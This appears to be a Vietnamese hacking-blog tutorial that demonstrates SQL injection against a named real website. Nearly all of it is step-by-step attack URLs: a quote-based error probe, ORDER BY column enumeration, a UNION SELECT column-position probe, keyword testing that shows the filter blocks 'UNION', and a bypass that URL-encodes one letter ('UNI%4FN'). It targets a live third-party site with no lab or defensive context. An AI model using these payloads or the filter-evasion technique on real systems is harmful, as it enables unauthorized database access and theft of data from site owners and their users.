Bước 1: Tìm lỗi
http://www.sosia.biz/list-en.php?categoria_sel=2'
Giao diện website có thay đổi. Chứng tỏ site bị lỗi.
Bước 2: Tìm số trường cột
http://www.sosia.biz/list-en.php?categoria_sel=2 order by 7-- -
http://www.sosia.biz/list-en.php?categoria_sel=2 order by 6-- -
Các bạn nhìn trong hình thì sẽ thấy có sự khác biệt đó là impersonators in the category chuyển thành impersonators in the category cinema - film
Số trường cột cần tìm là 6
Bước 3: Xác định vị trí trường cột bị lỗi
http://www.sosia.biz/list-en.php?categoria_sel=2 UNION SELECT 1,2,3,4,5,6-- -
Đến đây thì các bạn thấy lỗi rồi đó Shy. Chúng ta sẽ vượt qua nó như sau.
Mình sẽ thử từng cái một bằng cách như sau
http://www.sosia.biz/list-en.php?categoria_sel=2+--> nếu nó không bị lỗi thì khoảng cách giữa các từ không bị chặn
www.sosia.biz/list-en.php?categoria_sel=2+UNION
Theo như hình trên thì bước đầu chúng ta suy đoán là nó chặn từ UNION, nhưng để kiểm tra cho chính xác thì mình sẽ tiếp tục thử với từ SELECT
http://www.sosia.biz/list-en.php?categoria_sel=2+SELECT--> không bị lỗi như khi thử với từ UNION
Sau khi thử từng bước như trên thì chúng ta xác định chắc chắn là từ UNION bị chặn, mình sẽ tiến hành bypass nó bằng các encode một từ bất kỳ trong từ UNION. Ở đây thì mình chọn chữ O, các bạn có thể tham khảo các chữ khác tại: http://www.greentea.markschwing1.com/unico.html
http://www.sosia.biz/list-en.php?categoria_sel=-2 UNI%4FN SELECT 1,2,3,4,5,6-- -
Xuất hiện số 2 rất là đẹp
Còn lại thì các bạn tự tìm hiểu
Nguồn: chinhnghia - ceh.vn
Đăng nhận xét Blogger Facebook